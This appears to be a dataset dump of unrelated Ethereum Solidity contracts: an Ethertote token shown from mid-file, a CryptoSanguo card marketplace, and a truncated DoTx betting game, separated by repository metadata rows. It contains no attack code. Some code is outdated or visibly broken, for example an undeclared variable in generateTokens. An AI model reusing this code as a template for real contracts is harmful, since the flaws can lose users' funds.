// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
// totalSupply //
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
// balanceOf //
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
// allowance //
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// transfer //
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
// prevent tokens from ever being sent back to the contract address
require(_to != address(this));
// prevent tokens from ever accidentally being sent to the nul (0x0) address
require(_to != 0x0);
doTransfer(msg.sender, _to, _amount);
return true;
}
// approve //
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
// transferFrom
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
// prevent tokens from ever being sent back to the contract address
require(_to != address(this));
// prevent tokens from ever accidentally being sent to the nul (0x0) address
require(_to != 0x0);
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
// ----------------------------------------------------------------------------
// ERC20 compliant events
// ----------------------------------------------------------------------------
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
// ----------------------------------------------------------------------------
// once constructor assigns control to 0x0 the contract cannot be changed
function changeController(address _newController) onlyController private {
controller = _newController;
}
function doTransfer(address _from, address _to, uint _amount) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
// Do not allow transfer to 0x0 or the token contract itself
// require((_to != 0) && (_to != address(this)));
require(_to != address(this));
// If the amount being transfered is more than the balance of the
// account, the transfer throws
uint previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
// Alerts the token controller of the transfer
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
uint previousBalanceTo = balanceOfAt(_to, block.number);
// Check for overflow
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
emit Transfer(_from, _to, _amount);
}
// ----------------------------------------------------------------------------
// approveAndCall allows users to use their tokens to interact with contracts
// in a single function call
// msg.sender approves `_spender` to send an `_amount` of tokens on
// its behalf, and then a function is triggered in the contract that is
// being approved, `_spender`. This allows users to use their tokens to
// interact with contracts in one function call instead of two
// _spender is the address of the contract able to transfer the tokens
// _amount is the amount of tokens to be approved for transfer
// return 'true' if the function call was successful
// ----------------------------------------------------------------------------
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender,
_amount,
this,
_extraData);
return true;
}
// ----------------------------------------------------------------------------
// Query the balance of an address at a specific block number
// ----------------------------------------------------------------------------
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
}
else {
return getValueAt(balances[_owner], _blockNumber);
}
}
// ----------------------------------------------------------------------------
// Queries the total supply of tokens at a specific block number
// will return 0 if called before the creationBlock value
// ----------------------------------------------------------------------------
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) ||
(totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
}
else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
// ----------------------------------------------------------------------------
// The generateTokens function will generate the initial supply of tokens
// Can only be called once during the constructor as it has the onlyContract
// modifier attached to the function
// ----------------------------------------------------------------------------
function generateTokens(address _owner, uint _theTotalSupply)
private onlyContract returns (bool) {
require(tokenGenerationLock == false);
uint curTotalSupply = totalSupply();
require(curTotalSupply + _theTotalSupply >= curTotalSupply); // Check for overflow
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _totalSupply >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _totalSupply);
updateValueAtNow(balances[_owner], previousBalanceTo + _totalSupply);
emit Transfer(0, _owner, _totalSupply);
tokenGenerationLock = true;
return true;
}
// ----------------------------------------------------------------------------
// Enable tokens transfers to allow tokens to be traded
// ----------------------------------------------------------------------------
function enableTransfers(bool _transfersEnabled) private onlyController {
transfersEnabled = _transfersEnabled;
}
// ----------------------------------------------------------------------------
// Internal helper functions
// ----------------------------------------------------------------------------
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
// ----------------------------------------------------------------------------
// function used to update the `balances` map and the `totalSupplyHistory`
// ----------------------------------------------------------------------------
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
// ----------------------------------------------------------------------------
// function to check if address is a contract
// ----------------------------------------------------------------------------
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
// ----------------------------------------------------------------------------
// Helper function to return a min betwen the two uints
// ----------------------------------------------------------------------------
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
// ----------------------------------------------------------------------------
// fallback function: If the contract's controller has not been set to 0,
// then the `proxyPayment` method is called which relays the eth and creates
// tokens as described in the token controller contract
// ----------------------------------------------------------------------------
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayments.value(msg.value)(msg.sender));
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
// ----------------------------------------------------------------------------
// This method can be used by the controller to extract other tokens accidentally
// sent to this contract.
// _token is the address of the token contract to recover
// can be set to 0 to extract eth
// ----------------------------------------------------------------------------
function withdrawOtherTokens(address _token) EthertoteAdmin public {
if (_token == 0x0) {
controller.transfer(address(this).balance);
return;
}
EthertoteToken token = EthertoteToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
}
| 177,311 | 12,039 |
d4efa5101444e3b5cf1a05d91672b132de249fd87f24b1309e213a9150ff966e
| 11,801 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x32fcDEFa047D8Edeea0c21a50179b18181074c60.sol
| 3,173 | 10,305 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoSanguoToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256 private min_value = 0.01 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function CryptoSanguoToken () public {
owner = msg.sender;
admins[owner] = true;
issueCard(1, 7, 5);
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price * min_value;
startingPriceOfItem[_itemId] = _price * min_value;
listedItems.push(_itemId);
}
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(92);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(93);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(94);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(94);
} else {
return _price.mul(115).div(95);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(8).div(100); // 8%
} else if (_price < increaseLimit2) {
return _price.mul(7).div(100); // 7%
} else if (_price < increaseLimit3) {
return _price.mul(6).div(100); // 6%
} else if (_price < increaseLimit4) {
return _price.mul(6).div(100); // 6%
} else {
return _price.mul(5).div(100); // 5%
}
}
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "CryptoSanguo.io";
}
function symbol() public pure returns (string _symbol) {
return "CSG";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
function changePrice(uint256 _itemId, uint256 _price) public onlyAdmins() {
require(_price > 0);
require(admins[ownerOfItem[_itemId]]);
priceOfItem[_itemId] = _price * min_value;
}
function issueCard(uint256 l, uint256 r, uint256 price) onlyAdmins() public {
for (uint256 i = l; i <= r; i++) {
ownerOfItem[i] = msg.sender;
priceOfItem[i] = price * min_value;
listedItems.push(i);
}
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items);
function ownerOf (uint256 _itemId) public view returns (address _owner);
function priceOf (uint256 _itemId) public view returns (uint256 _price);
}
| 335,243 | 12,040 |
a229c78a11e4cf7193588897f375b0e0c0a4c55c9ac9882c6fbddbc39eda1946
| 29,880 |
.sol
|
Solidity
| false |
287272122
|
DefiOfThrones/DOTTokenContract
|
c85de28de1a243b08daafd63cb21b5e79265c0b1
|
DoTxGameContract.sol
| 6,143 | 22,300 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IDotTokenContract{
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IDoTxLib{
function queryChainLinkPrice(string calldata _fsym, string calldata _fsymId, int256 _multiplicator, bytes4 _selector) external;
function fetchFirstDayPrices(string calldata firstHouseTicker, string calldata secondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external;
function fetchLastDayPrices(string calldata firstHouseTicker, string calldata currentSecondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external;
function setDoTxGame(address gameAddress) external;
function calculateHousePerf(int256 open, int256 close, int256 precision) external pure returns(int256);
function calculatePercentage(uint256 amount, uint256 percentage, uint256 selecteWinnerPrecision) external pure returns(uint256);
function calculateReward(uint256 dotxUserBalance, uint256 totalDoTxWinningHouse, uint256 totalDoTxLosingHouse) external view returns(uint256);
function getWarIndex() external view returns(uint256);
}
interface IEarlyPoolContract{
function setDoTxGame(address gameAddress) external;
function addEarlyTickets(uint256 _dotx, uint256 _index, address _user, uint256 _warIndex, uint256 _endWarTime) external;
function addDoTxToPool(uint256 _dotx, uint256 _index, uint256 _warIndex, uint256 _endWarTime) external;
function getLongNightIndex() external view returns(uint256);
}
interface IManaPoolContract{
function setDoTxGame(address gameAddress) external;
function addRewardFromTickets(uint256 _warIndex, uint256 _ticketsNumber, uint256 _dotxAmountInWei, address _userAddress, bool _isEarly) external;
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _owner2;
address public dotxLibAddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function owner2() public view returns (address) {
return _owner2;
}
function setOwner2(address ownerAddress) public onlyOwner {
_owner2 = ownerAddress;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyOwnerOrDoTxLib() {
require(_owner == _msgSender() || dotxLibAddress == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner or the lib");
_;
}
modifier onlyDoTxLib() {
require(dotxLibAddress == _msgSender(), "Ownable: caller is not the owner or the lib");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DoTxGameContract is Ownable {
using SafeMath for uint256;
//Burn x% of the losing house tickets to Burn wallet on Matic -> Burn on Ethereum Mainnet
address constant public BURN_ADDRESS = 0xA0B3b84b6d66c0d7C4E87f40784b3b8328B5f33D;
//War struct, for each war a War variable will be created
struct War {
uint256 startTime;
uint256 duration;
uint256 ticketPrice;
uint256 purchasePeriod;
bytes32 winningHouse;
uint256 warFeesPercent;
int256 multiplicator;
uint256 burnPercentage;
House firstHouse;
House secondHouse;
mapping(address => User) users;
}
//House struct, each war contains an map of 2 houses
struct House {
bytes32 houseTicker;
bytes32 houseId;
uint256 openPrice;
uint256 closePrice;
uint256 ticketsBought;
}
//User struct, each war contains a map of users
struct User {
bytes32 houseTicker;
uint256 ticketsBought;
bool rewardClaimed;
}
//BURN STAKING INFORMATION
struct BurnStake {
uint256 firstHouseBurnDoTx;
uint256 secondHouseBurnDoTx;
}
struct WarHouses {
uint256 index;
bytes32 firstHouse;
bytes32 secondHouse;
uint256 startTime;
uint256 duration;
bool isClosed;
}
//DOTX Token Contract Address
IDotTokenContract private dotxToken;
//DOTX Game lib
IDoTxLib private dotxLib;
//ManaPool
IManaPoolContract private manaPool;
//Map of Wars
mapping(uint256 => War) public wars;
//GENERAL VARS
//Total fees paid by users
uint256 public totalFees;
//Precision for the select winner calculation
uint256 public selectWinnerPrecision = 100000;
uint256 public burnPercentage = 5;
uint256 public stakingPercentage = 10;
int256 public multiplicator = 10000000;
//EARLY POOL
uint256 public maxPercentJoinEarly = 25;//25%
//uint256 public minDoTxEarly = 500000000000000000000;// 500 DoTx
uint256 public warIndex;
//EVENTS
event WarStarted(uint256 warIndex);
event TicketBought(uint256 warIndex, string house, uint256 valueInDoTx, address sender, string txType);
event ClaimReward(uint256 warIndex, uint256 reward, uint256 balance, address sender, string txType);
event SwitchHouse(uint256 warIndex, string from, string to, address sender, uint256 valueInDoTx);
event openPriceFetched(uint256 warIndex);
event closePriceFetched(uint256 warIndex);
event StakeBurn(uint256 warIndex, uint256 burnValue);
//MODIFIERS
modifier onlyIfCurrentWarFinished(uint256 _warIndex) {
require(wars[_warIndex].startTime.add(wars[_warIndex].duration) <= now || _warIndex == 0, "Current war not finished");
_;
}
modifier onlyIfCurrentWarNotFinished(uint256 _warIndex) {
require(wars[_warIndex].startTime.add(wars[_warIndex].duration) > now, "Current war finished");
_;
}
modifier onlyIfTicketsPurchasable(uint256 _warIndex) {
require(now.sub(wars[_warIndex].startTime) < wars[_warIndex].purchasePeriod,
"Purchase tickets period ended");
_;
}
modifier onlyIfPricesFetched(uint256 _warIndex){
require(wars[_warIndex].firstHouse.openPrice != 0 && wars[_warIndex].secondHouse.openPrice != 0, "Open prices not fetched");
require(wars[_warIndex].firstHouse.closePrice != 0 && wars[_warIndex].secondHouse.closePrice != 0, "Close prices not fetched");
_;
}
constructor(address dotxTokenAddress, address dotxLibAddr, address manaPoolAddr, bool setupAddressInLib, bool setupAddressInPool) public {
//Implement DoTx contract interface by providing address
dotxToken = IDotTokenContract(dotxTokenAddress);
setDoTxLibs(dotxLibAddr, setupAddressInLib, manaPoolAddr, setupAddressInPool);
}
function startWar(string memory _firstHouseTicker, string memory _secondHouseTicker, string memory _firstHouseId, string memory _secondHouseId,
uint256 _duration, uint256 _ticketPrice, uint256 _purchasePeriod, uint256 _warFeesPercent, uint256 _priceFstHouse, uint256 _priceSndHouse)
public onlyOwner {
//Create war
wars[warIndex] = War(now, _duration, _ticketPrice, _purchasePeriod, 0, _warFeesPercent, multiplicator, burnPercentage,
House(stringToBytes32(_firstHouseTicker), stringToBytes32(_firstHouseId), 0, 0, 0),
House(stringToBytes32(_secondHouseTicker), stringToBytes32(_secondHouseId), 0, 0, 0));
emit WarStarted(warIndex);
setHouseOpen(_priceFstHouse, _priceSndHouse, warIndex);
warIndex = warIndex.add(1);
}
function buyTickets(string memory _houseTicker, uint _numberOfTicket, uint256 _warIndex) public onlyIfTicketsPurchasable(_warIndex) {
bytes32 houseTicker = stringToBytes32(_houseTicker);
//Get house storage
House storage userHouse = getHouseStg(houseTicker, _warIndex);
//Allow user to only buy tickets for one single House and the one passed in parameter
require(userHouse.houseTicker == houseTicker && (wars[_warIndex].users[msg.sender].houseTicker == houseTicker || wars[_warIndex].users[msg.sender].houseTicker == 0), "You can not buy tickets for the other house");
wars[_warIndex].users[msg.sender].houseTicker = userHouse.houseTicker;
//Update user tickets
wars[_warIndex].users[msg.sender].ticketsBought = wars[_warIndex].users[msg.sender].ticketsBought.add(_numberOfTicket);
//Increase tickets bought for the house
userHouse.ticketsBought = userHouse.ticketsBought.add(_numberOfTicket);
uint256 valueInDoTx = wars[_warIndex].ticketPrice.mul(_numberOfTicket);
//Propagate TicketBought event
emit TicketBought(_warIndex, _houseTicker, valueInDoTx, msg.sender, "BOUGHT");
//Transfer DoTx
dotxToken.transferFrom(msg.sender, address(this), valueInDoTx);
//Mana POOL
manaPool.addRewardFromTickets(_warIndex, _numberOfTicket, valueInDoTx, msg.sender, false);
}
function switchHouse(string memory _fromHouseTicker, string memory _toHouseTicker, uint256 _warIndex) public onlyIfTicketsPurchasable(_warIndex) {
bytes32 fromHouseTicker = stringToBytes32(_fromHouseTicker);
bytes32 toHouseTicker = stringToBytes32(_toHouseTicker);
//Check if toHouse is in competition && different of fromHouse
require(checkIfHouseInCompetition(toHouseTicker, _warIndex) && fromHouseTicker != toHouseTicker, "House not in competition");
//Check if user belongs to _fromHouse
require(wars[_warIndex].users[msg.sender].houseTicker == fromHouseTicker, "User doesn't belong to fromHouse");
House storage fromHouse = getHouseStg(fromHouseTicker, _warIndex);
House storage toHouse = getHouseStg(toHouseTicker, _warIndex);
//Switch house for user
wars[_warIndex].users[msg.sender].houseTicker = toHouseTicker;
//Update fromHouse tickets
uint256 ticketsBoughtByUser = wars[_warIndex].users[msg.sender].ticketsBought;
fromHouse.ticketsBought = fromHouse.ticketsBought.sub(ticketsBoughtByUser);
//Update toHouse tickets
toHouse.ticketsBought = toHouse.ticketsBought.add(ticketsBoughtByUser);
//Get fees
uint256 feesToBePaid = getFeesForSwitchHouse(msg.sender, _warIndex);
//Update total fees
totalFees = totalFees.add(feesToBePaid);
emit SwitchHouse(_warIndex, _fromHouseTicker, _toHouseTicker, msg.sender, feesToBePaid);
//Get fees from user wallet
dotxToken.transferFrom(msg.sender, address(this), feesToBePaid);
}
function claimAllRewardAndTickets(uint256[] memory _indexes) public{
for(uint256 i=0; i < _indexes.length; i++){
claimRewardAndTickets(_indexes[i]);
}
}
function claimRewardAndTickets(uint256 _warIndex) public onlyIfCurrentWarFinished(_warIndex) returns(bool) {
//Only claim reward one times
require(wars[_warIndex].users[msg.sender].rewardClaimed == false, "You already claimed your reward");
//Check if user belongs to winning house
require(wars[_warIndex].users[msg.sender].ticketsBought > 0 && wars[_warIndex].users[msg.sender].houseTicker == wars[_warIndex].winningHouse, "User doesn't belong to winning house");
//Set rewardClaimed to true
wars[_warIndex].users[msg.sender].rewardClaimed = true;
//DoTx in user balance (tickets bought) & reward
uint256 reward = getCurrentReward(wars[_warIndex].winningHouse, msg.sender, _warIndex);
uint256 balance = getUserDoTxInBalance(_warIndex, msg.sender);
dotxToken.transfer(msg.sender, reward.add(balance));
emit ClaimReward(_warIndex, reward, balance, msg.sender, "CLAIM");
}
function selectWinner(uint256 _warIndex) public onlyOwner onlyIfCurrentWarFinished(_warIndex) onlyIfPricesFetched(_warIndex) {
//require(wars[_warIndex].winningHouse == 0, "Winner already selected");
int256 precision = int256(selectWinnerPrecision);
int256 firstHousePerf = dotxLib.calculateHousePerf(int256(wars[_warIndex].firstHouse.openPrice), int256(wars[_warIndex].firstHouse.closePrice), precision);
int256 secondHousePerf = dotxLib.calculateHousePerf(int256(wars[_warIndex].secondHouse.openPrice), int256(wars[_warIndex].secondHouse.closePrice), precision);
//Set winner house
wars[_warIndex].winningHouse = (firstHousePerf > secondHousePerf ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse).houseTicker;
House memory losingHouse = (firstHousePerf > secondHousePerf ? wars[_warIndex].secondHouse : wars[_warIndex].firstHouse);
uint256 burnValue = calculateBurnStaking(losingHouse, true, _warIndex);
dotxToken.transfer(BURN_ADDRESS, burnValue);
emit StakeBurn(_warIndex, burnValue);
}
function setHouseOpen(uint256 _priceFirst, uint256 _priceSecond, uint256 _warIndex) public onlyOwner {
wars[_warIndex].firstHouse.openPrice = _priceFirst;
wars[_warIndex].secondHouse.openPrice = _priceSecond;
emit openPriceFetched(_warIndex);
}
function setHouseClose(uint256 _priceFirst, uint256 _priceSecond, uint256 _warIndex, bool _selectWinner) public onlyOwner {
wars[_warIndex].firstHouse.closePrice = _priceFirst;
wars[_warIndex].secondHouse.closePrice = _priceSecond;
emit closePriceFetched(_warIndex);
if(_selectWinner){
selectWinner(_warIndex);
}
}
function getUserDoTxInBalance(uint256 _warIndex, address userAddress) public view returns(uint256){
return wars[_warIndex].users[userAddress].ticketsBought.mul(wars[_warIndex].ticketPrice);
